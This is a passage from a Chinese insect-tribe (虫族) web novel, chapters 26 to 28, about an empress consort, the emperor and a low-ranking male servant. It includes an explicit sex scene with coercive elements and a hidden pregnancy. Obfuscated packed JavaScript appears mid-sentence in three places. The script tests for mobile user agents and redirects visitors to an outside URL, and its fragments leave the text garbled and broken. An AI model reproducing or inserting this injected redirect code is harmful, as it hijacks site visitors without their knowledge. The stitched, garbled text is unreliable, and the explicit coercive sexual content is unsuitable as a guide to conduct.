塞塔斯在等泽费里诺下来,他跟赫斯公爵和其正妻埃里诺解释:“我知道我的雌君怪我没给他一个皇嗣,我其实近段日子一直在想这件事,皇嗣的事情迫在眉睫,我必然要和他生的,谁知他怪我跟他要孩子太迟,离家出走,不肯跟我和好。” 家里已经知道发生什么事了,埃里诺看一眼自己的丈夫,赫斯公爵冷脸威严:“陛下也不必瞒着我们,您跟军雌艾维尔的事情,大家都有所耳闻,您也知道我这个儿子,恃才傲物,脾性怪异,想要一份专一的感情,当初您承诺娶他之后,不会有侧妻出现,我们才允许这门婚事。” 塞塔斯闻言还能冷静地笑出来:“公爵自己侧妻十几个,却偏要自己的儿子寻得一份专一的感情,这不是笑话吗?” 赫斯的脸色依旧没变:“泽费里诺不一样,他有资格获得专宠,如果陛下没法专情,倒不如跟他离婚,让他回家算了,也免得我这个当父亲的,看着糟心。” 塞塔斯忍着暴脾气:“我自然知道他不一样,所以已经斩断了和军雌艾维尔的关系,我希望公爵能劝慰自己的儿子,给我一个改过自新的机会,毕竟谁都知道,皇权大于一切,哪怕泽费里诺多厉害,也不能挑衅皇权。” 周围陪同的一群家族官员都在看赫斯的脸色,没有虫敢出声,生怕泽费里诺和虫皇的战火烧到自己身上。 赫斯脸色稍微柔和:“这是自然的,整个虫族都唯您是从,泽费里诺也只是闹闹小脾气,以后虫皇陛下把他当回事,尽快把皇储的事情提上日程,他又怎么会跟您闹呢。” 塞塔斯应着:“就是因为这事而来,这次带他回去,我们就筹备皇储的事情,让他见一见我。” 去找泽费里诺的佣虫回来了,察言观色看了一圈主子虫的脸色,撒了谎:“帝后宿醉还未醒,恳请陛下等会儿。” 塞塔斯等不了,起身自己去找:“我自己去见他,他生气呢,肯定不会主动来见我,我都被他打了一顿,他还不肯消气。” 听到这里,大家都有片刻的怔愣,埃里诺眼神瞪大看向自己的丈夫,没敢言语。 赫斯也没想到泽费里诺会打虫皇:“那您亲自去见他吧,他在三楼,您知道他的房间是哪个。” 塞塔斯摆摆手:“你们不用跟来,夫夫之间的矛盾总归不好听,我也不想让你们听到。” 赫斯让大家别跟着,塞塔斯独自往三楼去找泽费里诺,他俩从小一起长大,对彼此的家里都很熟悉。 芬恩收拾完帝后的房间,要离开了,刚从洗手间出来,就听到虫皇到了门外。 虫皇在敲门:“我知道你还在生气,不想见我,可我俩终归是夫夫,哪能天天闹矛盾,给别的虫看了笑话。” 泽费里诺没言语,拿着一本书在看,长腿交叠。 芬恩现在也不知道该往哪里走,看向泽费里诺。 房门反锁着,还未打开,塞塔斯推了推没推开:“你都不知道皇宫怎么传,说你宁愿让亚雌暖床,也不肯要我这个虫皇,我的脸面都快被一只亚雌丢完了,但我知道你不是那种雌虫。” 泽费里诺听到这里,唇角讥讽地勾了一下,这才抬眼看向芬恩。 芬恩也看着他,谁也没有说话。 塞塔斯还在表演:“别的虫不了解你,但我了解你,不是什么垃圾虫都能上你的床,何况是只什么都不是的亚雌,要什么没什么,我还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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感觉到雄虫的不镇定,泽费里诺推开他,擦了擦嘴唇,示意从他从侧门离开,自己去给塞塔斯开门。 芬恩看到他走到门口的脚步,也不知道哪根筋不对,几步跟上去,在泽费里诺走到门边朝他看来时,他突然不想让雌虫见虫皇。 走到他身边,胸膛贴住雌虫的背,泽费里诺两手撑在厚重的门上,芬恩单手去解雌虫的抑制环。 好在门扉够厚,泽费里诺往前一倾也没闹出动静,他眼神微冷,薄唇动了动想说什么。 芬恩已经解开他的抑制环,牙齿咬住了后颈腺体,泽费里诺倒吸一口凉气。 这样的小雄虫,他倒是第一次见,蛮新鲜。 事实上芬恩每次看到他,都恨不得来强的,想看一向冷静从容的雌虫失去理智。 可不管怎么做,最先失去理智的绝对是芬恩。 雄虫的尾勾轻车熟路,仿佛雌虫的孕腔已成他的专属。 黑发雌虫咬着牙,黑眸越发冰冷。 雄虫咬得腺体生疼,有信息素溢出。 塞塔斯还在敲门,言语温柔:“雌君,老公错了,见我一面好不好?我跟你解释。” 芬恩一手捂住泽费里诺的嘴,薄唇从腺体上离开,附在雌虫耳畔,声音小如蚊讷:“告诉他,谁才是你老公,谁在用尾勾侵占你的孕腔?” 泽费里诺:“……” 芬恩觉得自己要疯了:“为什么你能理直气壮地玩了我之后,还能跟他和好?你有没有想过我以后怎么办?不放我走,让我看着你们恩爱吗?我做不到。” 塞塔斯还在晓之以情:“我俩这么多年感情,本该是最亲密的雌雄虫,我俩才是天生一对,离开我,没有雄虫配得上你。” 泽费里诺深呼吸,精瘦的腰被雄虫一只有力的胳膊抱着拱起。 芬恩捏住他的下巴,强迫他转头:“他说的对,没有雄虫配得上你,我这只低贱的雄虫只会亵渎你,糟蹋你,生气吗?” 芬恩咬着牙:“生气的话,叫你的虫皇老公进来杀了我,杀了我这只玷污他雌妻的雄虫,砍掉我这肮脏的尾勾。” 26. 第 26 章 泽费里诺还真没想到小雄虫会这么大胆,他的准丈夫——虫族温特瑞亚帝国最至高无上的虫皇陛下就在门外乞求他的原谅,可他却被一向听话乖顺的小雄虫强行塞了尾勾。 雌虫的长发有些散乱,只能稳住身体不让自己触碰房门,不然塞塔斯绝对会听到里面的动静,即使公爵府的门窗都是隔音的材料,可五官比一般虫更强的虫皇陛下定会有所察觉。 他倒是小瞧了这才二十岁刚发育完全的低等雄虫了,竟敢对他乱来。 他都没准备,以为这小东西不敢,失算了。 孕腔感觉到雄虫的尾勾肆虐,泽费里诺这个时候还在想,幸好雄虫等级低,不然就这么搞,他不怀孕都是他的问题了。 虫皇陛下言语恳切:“我也只是一时鬼迷心窍,事到如今我才发现我最在乎的雌虫只有你,我无法承受失去你的痛苦,只要你肯跟我回皇宫,你喜欢什么样的亚雌侍奉在寝殿我都不会再过问,别生我的气了好不好?” 泽费里诺哪里需要生气,自从认清现实后,他完全不想为不值得的雄虫伤神了,他看透了感情的本质,在这个星际虫族,又不是人族有完善的文明制度,一夫一妻制,他们虫族进化到如今,一直在走下坡路,妄想得到真感情才是真的可笑。 他相信这世上会有雌虫专一爱雄虫,却不会相信雄虫会真的爱某知雌虫,至少在他短暂的二十五年里,他没见过专一的雄虫。 他以为自己足够强大足够优秀就能得到虫皇专一的感情,可事实上只有他活在可笑的理想象牙塔里。 如果他还对虫皇有感情,就不会对亚雌二次发育成的小雄虫强取豪夺,把自己最珍贵的东西一整个给了小雄虫。 现在的泽费里诺,心里对权力的渴望以及推翻现有政权更有兴趣,爱情早已不在他期待的范围内。 有时候身心确实需要抚慰,那身边有一只听话的雄虫比什么都好,起码他能掌控这只雄虫,不像塞塔斯,有太多的不确定性。 在他的认知里,芬恩对他没有威胁,一只既没有精神力,也没有权势和地位的低等雄虫,要想活下去必然得听话,唯命是从。 泽费里诺允许他偶尔这么胡来一次,刚好也满足他对虫皇的报复欲。 塞塔斯没有听到雌妻的回答,以为泽费里诺不想理他,实际上是隔着一扇厚重的雕花门扉,里面的雌虫嘴唇被雄虫堵着,让这位在谁面前都傲气端庄的雌君连口水都兜不住。 门外的雄虫又敲了敲厚重的合金门:“雌君,你有在听我说话吗?你就算不为你自己着想,也得为你的家族着想,赫斯公爵比我俩更期待皇储的出生,这皇储只能从你的肚子里出来。” 芬恩放开雌虫殷红饱满的唇,在他耳边呢喃:“雌君真会吃,吃我的尾勾不够,还想吃其他雄虫的,你说你和虫皇以后生出的小虫宝,会不会带着我的基因?毕竟我灌溉的不在少数。” 泽费里诺轻呼吸缓口气,没理会芬恩,隔着一扇门和虫皇对话:“我知道了,你先回去吧,我在家待两天就回宫了。” 这句话换来芬恩的狠拱,黑发雌虫微微咬了牙,转头眼神不悦地警告雄虫,芬恩当做没看见。 虫皇见不到老婆誓不罢休,听到老婆在门扉附近:“没事儿,你不出来见我,我就一直等,一直等,你迟早都会出来。” 理智的雌君还是强行让雄虫撤离,芬恩也快了,结果雌君不乐意了,非要推开他,芬恩一时半会也不肯。 咬住雌虫的腺体让他别动,一手握着雌虫的脖颈,又一会儿,才尽数给予。 泽费里诺知道他好了,便转身推开了他,从雄虫手中把抑制环拿来扣在自己脖颈上,擦了嘴角雄虫留下的涎水。 冷静地就像没有刚才那回事,还能把雄虫物质全部用精神力锁住,防止混杂在里面的雄虫信息素泄露。 芬恩擦了擦额头的汗,再没跟泽费里诺对着干,收拾好自己,又看了雌虫几眼,从侧门离开了。 门外的虫皇闻到了雌虫信息素的气味,不确定地问:“雌君,怎么会有你的信息素气味?你的易感期不是过了吗?” 泽费里诺往浴室走去,言语清淡:“你先下去和我的雄父说说话,我洗漱一下就来找你。” 塞塔斯有点担心他:“你的易感期还没过吗?” 泽费里诺反问:“我拿什么过?抑制剂用不了,你也不肯给我信息素,我只能硬扛,反复信息素遗漏不是很正常?” 事实上他的易感期早过了,是从昨晚开始,被那只小雄虫刺激的,这才会有遗漏一说。 他觉得自己真奇怪,心理抗拒再次爱上雄虫,可身体却诚实,喜欢雄虫抚慰。 不过幸好小雄虫没有生育能力,不然就这样进行过专一性孕腔标记的雄虫,总是不厌其烦地给予他种子和信息素,他不怀孕都说不过去。 塞塔斯哦了声,犹豫片刻离开了三楼,去找赫斯公爵。 泽费里诺洗漱一番,将身上的信息素气味冲去,换了衣服才下楼。 芬恩回了自己的房间,心脏还在剧烈跳动,越想越觉得自己胆大包天,竟然隔着一扇门,对虫皇的雌妻做那种事。 他什么时候也变得这么不可理喻了? 他这是真疯了,关键泽费里诺还没阻止。 芬恩一直觉得这位雌君强大冷静,有一种平静的疯感,现在雌君倒是没怎么疯,他这只抚慰雄虫先疯了。 嫉妒心真是可怕的东西……让他一个根正苗红文明时代的三好青年,也变成了他唾弃的样子。 ~ 没有意外,帝后在家属的劝慰以及虫皇的诚恳的忏悔中,还是要回皇宫。 整个加西亚家族都在劝他和虫皇和好,在所有的虫眼里,正统皇嗣才是最重要的,其它的不重要。 赫斯公爵和埃里诺的目标也很明确,让泽费里诺怀上皇嗣,以后要是控制不了虫皇塞塔斯,那就让皇储上位,反正扶得起。 加西亚家族富可敌国,关键还有一个听调不听宣的雄虫元帅驻守在外,那就是筹码。 不过怀上皇嗣,就师出有名,少被一群官员诟病罢了,反正谁也别想从加西亚家族手里把皇位抢走。 塞塔斯之所以能上位,还是因为泽费里诺喜欢他,不然就他那点单薄的势力,早该在夺嫡的时候土崩瓦解。 虫皇试图用艾维尔的家族制衡泽费里诺的家族,结果适得其反,连这唯一的感情筹码都要丢了。 关键还没有削弱泽费里诺的精神力,他还平白挨了一顿打。 中午在公爵府吃了顿饭,虫皇塞塔斯保证,半年内一定会给泽费里诺一个孩子,无论生的雌宝还是雄宝,都会立为皇储,未来继承帝国的皇位。 赫斯公爵满意了,也奉劝了儿子两句,虫皇知错能改,已经比很多雄虫有觉悟,让泽费里诺别抓着不放。 因为主动权握在泽费里诺手中,所以芬恩也逃过了一劫,塞塔斯一直认为,他的雌妻把一只酷似他的亚雌放在身边,是当替身的。 所以回去的时候,虫皇看了飞船后座的芬恩好几眼,好言好语地跟泽费里诺耳语:“我知道你把他当成我了,以后我天天来陪你,你也不用一直把这只亚雌留在寝宫,给我点面子,你都不知道大家怎么笑话我,我好歹也是虫皇,你说揍就揍。” 泽费里诺侧头不看他:“既然陛下知道错了,我也没必要抓着不放,这只亚雌懂我的喜好,会讨我欢心,我当然乐意把他留在寝宫侍奉,陛下这意思还是信不过我。” 塞塔斯回答:“怎么会呢,你泽费里诺作为帝国的雌君,万万虫民的偶像,绝不会做毁名声的事情,况且还是和亚雌,那传出去多难听,我就算不信我自己,我也得信你。” 泽费里诺嗯一声:“陛下信我就好,至于皇储的事情,等你和军雌信息素精神力解绑后再说吧。” 塞塔斯觉得他的态度有问题:“其他雌虫恨不得要我的皇嗣,你却没多大兴趣,我对你已经这么没有吸引力了?” 泽费里诺的神色有些不耐烦:“我并不需要陛下给我镶金边,我生来就在巅峰,谁跟我在一起都是镀金。” 塞塔斯:“……” 芬恩觉得这虫皇像个小丑,莫名想笑。 泽费里诺的自信和傲气,是任何一只雌虫都学不来的,这也深深地吸引着芬恩。 不过他明白,他和泽费里诺,迟早得散。 他做好离开的准备就好。 皇宫最劲爆八卦中的亚雌“洛菲斯”毫发无损地跟着帝后回宫了,米安绕着他转了一圈,觉得这只亚雌除了长得好看点,身高优势一点,也没什么特别的。 为什么就能获得帝后的青睐? 芬恩一回宫就和泽费里诺分开了,依旧被打发去侍奉他的花草,好像那些事跟他无关一样。 米安去找他时,他一点都闲不住,又在花园里翻土浇水,亚雌总管抱着胳膊啧啧道:“我还以为你活不下来了,洛菲斯,虫皇怎么没杀了你?” 芬恩听到是米安,也就没回头:“这你得去问虫皇,我又怎么能猜到虫皇的心思。” 米安蹲在他身边:“大家都说你在给帝后暖床?真的假的?” 芬恩这才停下手中的活计,看向八卦的米安:“你是信不过帝后的眼光和虫品,还是信不过我?” 米安笑着回答:“我当然相信帝后的口味,可是你真的长得很好看,我看了都心动。” 芬恩:“……” 好吧,他心口不一:“原来总管阁下思春,把我当成雄虫看了。” 米安哼了声:“可惜你不是,你只是最低等的亚雌,其实我家里已经给我找了雄虫,等级低,好在有生育能力,但不会只有我一只雌虫。” 芬恩的动作又一顿:“那你不出嫁会死吗?为什么非要那样?” 米安倒是被他问住了:“我也不想啊,可是易感期没有雄虫真的很难熬,对了,怎么没见你找我领抑制剂啊?你虽然是亚雌,但也有易感期的。” 芬恩随口胡诌:“早过了。” 米安诧异:“没症状就过了?” 芬恩点头:“对,等明年吧。” 米安起身拍拍腿上的土:“明年我要出宫,今年就得把亚雌总管定下来,我去问帝后该选谁。” 芬恩嗯了声:“去吧。” 不管选谁,反正芬恩是不肯当的。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521318|203321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 回到皇宫之后,和泽费里诺就分开了,很少见面。 所有关于雌君的说法,都是从米安口中听说。 一个多月过去,他连泽费里诺的影子都没看见,听说虫皇经常带他出去玩,芬恩心想这对夫夫是不是真的和好了。 心里空落落,像丢失了什么。 他的工作不苦不累,营养剂和薪资正常发,有时候米安还给他多发点,虫皇也没找他的麻烦,亚雌见了他也都不敢吆三喝四,对他毕恭毕敬。 按理说,这样的日子一直持续下去其实挺安逸,可芬恩就是觉得这不是他想要的生活。 他偶尔想看一眼泽费里诺,也只能在走廊里远远地站着。 泽费里诺再没来找过他。 他好像被遗忘或者丢弃了。 如果雌君和虫皇和好,那就不需要他这个抚慰品了吧? 早知道的结果,却还是会心痛。 只能不断找活干,麻痹自己。 他把花园都翻了一遍,又种上了新的花卉。 这天一大早,米安突然急匆匆地来找他:“洛菲斯,你了解帝后,他最近几天挑食严重,什么都不吃,营养剂也咽不下去,谁靠近都被吼,煮点粥给他端过去,都能打翻,不行了,你去看看吧,说不定你有办法。” 芬恩放下手中工具,有点担心:“是哪里不舒服吗?” 米安拉着他就走:“说要喝粥,厨房做了之后,又全部打翻在地,我真没招了,比之前还难伺候。” 芬恩只得跟着他去看情况,进了帝后寝殿西侧的餐厅,就听到餐具噼里啪啦又被摔了一地,泽费里诺不满的声音传来:“一群废物,一点粥都做不好,这谁咽的下去?” 亚雌们跪了一地,就连厨师长也来了,跪在泽费里诺脚下解释:“这还是您一贯的口味,食材也没变,小的真不知道哪里出问题了。” 芬恩站在餐厅门口看着朝思暮想的拟人雌虫,声音温润清雅:“我尝尝就知道是不是原先的味道了。” 泽费里诺听到芬恩的声音,心里一紧,但面不改色:“那你来尝尝,我说他们做的难吃,还非要犟。” 芬恩得到允许就进去了,他拿了一枚干净的勺子,盛了一口,轻轻抿了抿,确实还是原先的味道,食材和火候都没变化。 芬恩示意亚雌和厨师都退下:“你们先忙吧,我来侍奉。” 亚雌们像得到救赎,纷纷逃命一样退下了,芬恩这才盛汤吹了吹,喂泽费里诺:“吃一口?” 泽费里诺蹙眉侧开了脸:“不想吃,很难闻,拿走。” 芬恩又闻了闻:“和之前的味道一样,是你喜欢的口味,为什么味觉会发生改变?咱们找御医看看好不好?” 泽费里诺觉得没必要,他疑惑地看向芬恩:“真不是食材的问题吗?那为什么我闻到的却不是之前的味道?” 芬恩好脾气地看着他:“那就要问雌君自己,最近乱吃什么东西,吃坏了肚子,改变了味觉也不一定。” 泽费里诺思来想去,他的饮食一向很规律,最近连最喜欢的玫瑰味营养液也喝不下去,总觉得是臭的。 他想吃点酸酸的东西,连太甜的水果吃着吃着就想吐。 以前从没这种现象,他也不知道自己怎么了。 叹口气,放下餐具,泽费里诺抬眼看芬恩:“最近一个月没怎么见你。” 芬恩蹲下身去收拾地上的盘子:“我有我的工作,雌君有雌君的事情,哪能天天见面。” 泽费里诺伸手顺了顺抑制环:“我需要皇储。” 芬恩捡东西的动作一顿,神色倒是没怎么改变:“我知道,雌君和虫皇是夫夫,就算原谅他,重新在一起,也是情有可原。” 泽费里诺低眼看着他,声音压得极低:“你不会生气吗?” 这一个月来,芬恩冷静了很多:“我没资格生气,你和虫皇名正言顺,发生什么都正常。” 泽费里诺莫名来气,一脚又把芬恩手里的碎片踹翻:“是吗?那你可真大方。” 芬恩又把碎片捡起来:“我不大方没用,我连自己的命都掌握不在自己手中,自然也无法左右雌君的决定。” 对话的声音很小,小到泽费里诺有点听不清,他弯腰一把抓住芬恩的衣领:“真没用,连生气都不会,我倒是希望你能有点脾气。” 一次的不理智之后,芬恩就告诫自己,以后不可那样了,不能被同化,也不能被嫉妒心牵着走,那样很危险。 他深呼吸:“雌君这症状估计是脾胃的关系,要不看看御医吧。” 泽费里诺一把扔开他,起身走了,独留芬恩在餐厅收拾。 米安很快就请来了御医,泽费里诺坐在寝殿的沙发上闭目养神。 虫族御医史蒂文让他说说症状,泽费里诺闭着眼睛照实说。 史蒂文听闻后神色变了,他看了一眼米安,又问泽费里诺:“雌君近月可曾和虫皇同房?” 泽费里诺这才睁开了一双沉冷的黑眸,心中陡然一紧,紧接着一种恐惧感从四肢百骸蔓延开。 不会吧?他不会那么倒霉吧? 他不会是怀孕了吧??? 27. 第 27 章 虽然还不是很确定,但绝不能让其他虫知道,毕竟雌君有孕关联着虫族未来的命运,确定怀孕的话,虫皇要带着所有官员去祭拜虫神,祈祷虫神庇护子孙。 尤其雌君肚子里的孩子要是唯一的皇嗣,那仪式只会更隆重,得昭告整个帝国,虫族皇嗣的诞生,要开记者发布会,起码一个月内,媒体版块只能报道皇嗣的情况,不能掺杂其它的信息。 这是一件很严重的事情,泽费里诺作为帝国帝后,虫皇唯一的雌君,整个虫族帝国都在盯着他的肚子,要是知道他没和虫皇同房的情况下怀了孕,他这辈子算是完了。 哪怕心里有多恐惧,这位雌君表面依旧淡定如水,随便胡诌个原因,把虫医打发了:“我和虫皇还没打算要皇嗣,只是不知道吃了什么不好的膳食或者营养剂,肠胃出了问题而已,小事,开点恢复肠胃的药,不用看了。” 他示意米安把史蒂文送出去:“我要去健身房,都别打扰我,虫皇要是来的话,让他在这里等。” 米安担忧道:“您这症状已经持续几天了,就算是肠胃问题,也得让虫医给您把把脉,史蒂文阁下的医术很好,雌君。” 泽费里诺冷了脸:“你是雌君还是我是雌君?什么都想为我做主?” 米安吓得噤了声,再没敢多说一句,扯了扯虫医的衣角,示意史蒂文离去。 史蒂文观察了帝后片刻,也就再没有说什么,跟着米安出去了。 出了寝宫,米安才问史蒂文:“阁下的意思是雌君怀孕了吗?可虫皇从未留宿过帝后的寝宫,帝后和他还没和好。” 史蒂文说:“听他描述的症状,倒是像怀孕了,不过雌君近月未曾和虫皇同房,那有可能是我推断错了,雌君可能真的肠胃不好,等我开点药,你拿回去给他吃。” 米安应着:“帝后要是怀了皇嗣,那是整个虫族的大事,举国欢庆。” 史蒂文点头:“谁说不是呢,未来的皇嗣命真好,有雌君这样强大的雌父做依靠,算是已经坐稳了帝国皇储的位置。” 可不是嘛,就算前一任虫皇,也因为儿子众多,死在了夺嫡的过程中,塞塔斯凭靠加西亚家族的拥护而坐稳虫皇的位置,对亲胞手足赶尽杀绝,把前一任虫皇的侧妻尽数处死。 没死的也都发配到荒星开荒去了,一辈子不能回中央星。 这也是泽费里诺为什么不肯让虫皇娶侧妻的原因,权势的熏陶下,只会滋长傀儡和罪孽。 塞塔斯心狠手辣,别看现在为了挽回泽费里诺要多卑微就有多卑微,可泽费里诺永远忘不了他想置自己于死地的样子。 就算雄虫在虫族成为了稀罕物,虫皇这种雄虫更是稀世珍宝,但这雄虫在暗处狰狞想弄死他的样子,每想起一次恶心一次。 他现在蛰伏忍耐,不过是想得到之前的兵权,这样的话,等他有机会被调出中央星,就可以在外屯兵。 虫族的皇位是世袭制,虫民拥护皇室血统,加西亚家族虽然强大,但也得基于对虫族皇室的忠诚。 任何起义想推翻统治的虫,都得有名正言顺的理由,不然都被认定为叛乱,必死无疑。 或许虫皇的出轨不至于让泽费里诺生出那样的心思,也或许他怀上皇嗣之后,未来十几年都得蛰伏,等待自己的孩子长大,可他就怕意外比他执政更早到来。 塞塔斯想挽回他,无非就是想利用他找到所有忠于他的内部官员,只要这些暗线还存在,塞塔斯的皇位就一天都坐不稳。 他靠着加西亚家族上位,也知道这个家族的恐怖,更知道这位雌君的强大,所以第一次计划失败之后,他只能从长计议,而在想到办法除掉这个家族之前,他必先稳住泽费里诺。 为此他不惜弃掉艾维尔这颗棋子,事实上虫族很多雌虫没有自我,艾维尔那样强大的军雌,也因为得到虫皇的青睐,退一步不和虫皇精神力绑定,做侧妻也行,毕竟雄虫有多个雌妻是很常见的事情。 所有的雌虫都活在这样的环境里,那艾维尔自然也不例外,只有泽费里诺不行,他想要一份忠诚的感情,一个专一的丈夫。 但他知道自己这想法简直天方夜谭。 他去书房查阅了雌虫怀孕的相关书籍,之前看的书都是军事相关的,很少看这种书,一时间也为自己匮乏的怀孕知识感到无奈。 看了一遍才发现,他最近的症状和书上写的一模一样,书上说有的雌虫怀孕,会出现倦怠,厌食,味觉改变等症状,严重的还会呕吐很多天,所以他最近觉得厨房做的膳食难闻又难吃,就是因为怀孕改变了味觉。 泽费里诺合上书本,一向从容的神色终于出现了茫然,他知道这个孩子来的不是时候。 不对,是这个孩子不能要,以后他要是想推翻塞塔斯,必然需要纯正的皇嗣血统,这样才师出有名,他就不用面对骂名。 虫族史书上也就不会把他描绘地很难听,如果师出无名或者没有正当理由造反,那他将成为虫族历史上骂名最难听的反叛雌虫。 帝国开国皇帝之所以被追捧,是因为逢乱而出,拯救虫民于水火,自此才受到拥护,可如今虫族基本上安定,除了边境偶尔会有小部分族类反叛,大家都过着安定的日子,那自然不想看到战乱。 谁挑起战争谁就是罪虫,如果他有了皇嗣,他就可以想办法逼塞塔斯退位,让自己的孩子名正言顺登上大统。 他独自在书房里坐了两个小时,虫皇议事完毕过来找他,他才从书房出去,这两个小时里他做了一个残忍的决定。 他要做掉这个孩子,谁都不会知道这件事,包括这个孩子的雄父,那只低等的雄虫洛菲斯。 他倒是小瞧这只等级不高的雄虫了,完全拟人都不行,却让他怀了孕,肯定是上次回家在公爵府的那两次怀上的,他被雄虫刺激出了信息素,那时候只知道自己处于易孕期,却不曾想真的会怀上。 看来低等雄虫也不安全,这个抚慰品的价值也到此结束,他会想办法让这雄虫离开皇宫,销毁一切证据。 难得政务不多,塞塔斯要带他去看舞台话剧,问他最近身体不舒服,可有看虫族宫廷御医,泽费里诺说看了,没什么大事,让陛下放心。 塞塔斯牵着他的手出了寝宫,芬恩在打扫寝宫外的大路,其实也是想看泽费里诺一眼。 塞塔斯看到他了,问泽费里诺:“这只亚雌怎么扫大路来了?” 泽费里诺看了一眼芬恩,声音清冷:“陛下不喜欢他,那我自然不能把他留在寝宫,这活很适合他。” 芬恩听到了他俩的声音,没有抬头,直到虫皇和雌君上了飞船离去,他才望向他俩离开的方向。 米安听到他俩走了,从寝宫出来,看到芬恩站在那里发呆,走过去问他:“你是真闲的没事干啊洛菲斯。” 芬恩唇角挑了一下:“是啊,花园的工作忙完了,只能找点事做。” 谁也不会知道,他只是想看泽费里诺一眼。 米安抱着胳膊感慨:“你真的很勤快,这些路有机器扫,你不用这样忙,既然没事干的话,帮我打扫一下帝后的寝殿,那里才需要亚雌手动打扫,这会儿他不在,你快去吧。” 芬恩握着扫把的手微微握紧:“好。” 米安又吩咐:“二楼和三楼都要细心一点,尤其雌君的书房和名器收藏廊。” 芬恩明白:“知道了。” 他把扫把拿回去放回储物室,去清扫帝后的寝殿,只要能闻到雌君的味道,他就觉得心安。 仔细打扫了到了二楼书房,沙发前的茶几上放着一本书:《雌虫怀孕百科大全》。 芬恩看了一眼,把茶几擦了之后,翻开书籍阅读了一下,第一章就是“备孕”。 芬恩便知道泽费里诺要和虫皇备孕了,他的心痛了一阵又一阵,把书放回书架空着的部分。 其实发展到这里,他可以死心了,也不知道在期待什么。 虫皇邀请帝后看话剧,陪同帝后玩了一整天,天黑才回来。 芬恩立于廊下,面对着花园的方向,但注意力在帝后寝宫的动静上,虫皇送帝后进门,并未着急离去,米安进去奉茶。 芬恩知道,一旦虫皇和帝后和好,他就没有任何价值了,那么对于没有价值的雄虫,雌君会放他走吗? 还是说要让他在这里煎熬三年,看着他俩如胶似漆恩爱。 他不知道,心里一整个被掏空了一样,他明白泽费里诺不再属于他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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泽费里诺知道他没睡,一只胳膊从芬恩胸前横过去,脸埋在他肩上,语气有点悲怆:“有些事情身不由己,即使是我,也无法左右结局。” 芬恩的手放在他的胳膊上:“我知道,我也理解,我只希望你和虫皇和好的一天,放我离开皇宫,还我自由。” 泽费里诺没答话,芬恩其实已经看开了:“一直都知道身份悬殊,我什么都帮不了你,只会给你添乱,你没杀了我算你仁慈,你放心,哪怕离开你,离开皇宫,谁也不会知道我曾侍奉过你。” 泽费里诺的心有了些涟漪:“你一向懂事。” 芬恩嗯一声:“因为我只想活着,活着去看看远方,去看看偌大的星际世界。” 泽费里诺沉默,也不知道在想什么。 芬恩反而觉得轻松了很多:“决定放下你之后,我突然发现没那么累了,对你的感情总是让我迷失自我,让我有种莫名的自信,你会爱我。” 芬恩轻轻地拍着雌虫的胳膊,语气依旧温润:“泽费里诺,我不后悔爱过你,你是我短暂一生中的辉煌时刻,不管我以后跟谁在一起,你在我心里始终无法磨灭。” 泽费里诺抱着他的胳膊紧了紧:“半年时间,到了冬天,我放你出宫,那时候,虫皇精神力和信息素都恢复,我孕腔的雄虫标记也将彻底消失,我给你自由。” 芬恩笑了笑:“好,那就再待半年,希望未来每一天,你都能开心,得偿所愿。” 泽费里诺捂住他的嘴:“不要说话。” 芬恩眨眨眼,保持沉默。 他不知道泽费里诺的挣扎。 雌虫怀孕,只会对雄夫更依赖。 如果泽费里诺之前还能坦然面对芬恩的离去,那今晚他的内心已然陷入了两难的境地。 他清楚地知道洗去标记这种情况会消失,但在腹中胎虫的作用下,他极度不理智地想汲取雄虫的温度和信息素。 芬恩做好了决定,以为泽费里诺是来跟他道别,谁知下一秒雌虫的就在黑暗里吻了上来。 芬恩被吓了一跳,理智让他推开了雌虫,挣脱雌虫的薄唇:“你到现在还不冷静吗?给我一点缓冲的时间,别这样对我了。” 芬恩很无力:“你以为做这种事没有感情存在就可以肆意妄为吗?” 泽费里诺翻身坐他身上:“干都干了,还在乎这一次吗?不是爱我吗,爱我就干啊,洛菲斯。” 28.第 28 章 虽说爱离不开性,可芬恩在穿来时还是个内心纯净清澈的大学生,他更擅长柏拉图式的恋爱,纯净的人类,觉得灵魂的碰撞比身体的触碰更适合自己。 他也有不理智的时候,只是发疯过后只剩满心的悲哀,很明显他和泽费里诺没有任何灵魂的共鸣。 他对雌虫的感情没有得到同等的回应,也深知结局不过两两相忘,那做这些事还有什么意义? 都不在易感期,泽费里诺为什么要折磨他? 如果泽费里诺爱他,他愿意把自己的一切奉献给这位帝国的铁血瑰宝,毕竟在他眼中,这位雌君真的非常有魅力,如果能得到同等专一的爱,他为泽费里诺死在这里都行。 可现在发现,他死在这里毫无意义,不如早点脱离苦海,去寻找自己向往的自由。 和泽费里诺也没少干这种事,从最初的奢求到如今的淡定,芬恩也不知道自己经历了什么样的心境变化。 他拒绝和泽费里诺合尾:“帝后一边说着这样让我误会的话,一边又准备和虫皇备孕,需要皇储还敢用我的尾勾,就不怕被虫皇丈夫发现端倪吗?” 泽费里诺一直知道自己要什么,也很理智,不然也不会一个多月不见芬恩,之所以有现在的行为,是怀孕导致的。 他把自己反常的一切行为推诿给了雌虫怀孕引发的各种副作用,雌虫怀孕后,需标记过孕腔的雄虫往腹中提供信息素三个月才行。 腹中的虫宝需要雄父的信息素供养,这样才能怀稳,不管多冷淡的雌虫,有了虫宝之后,必然对雄虫的渴望加强。 泽费里诺没打算要这个孩子,但短时间内还是对抗不了雌虫的本能,辗转反侧睡不着,满脑子都是雄虫触碰皮肤,以及尾勾在孕腔放肆的舒畅。 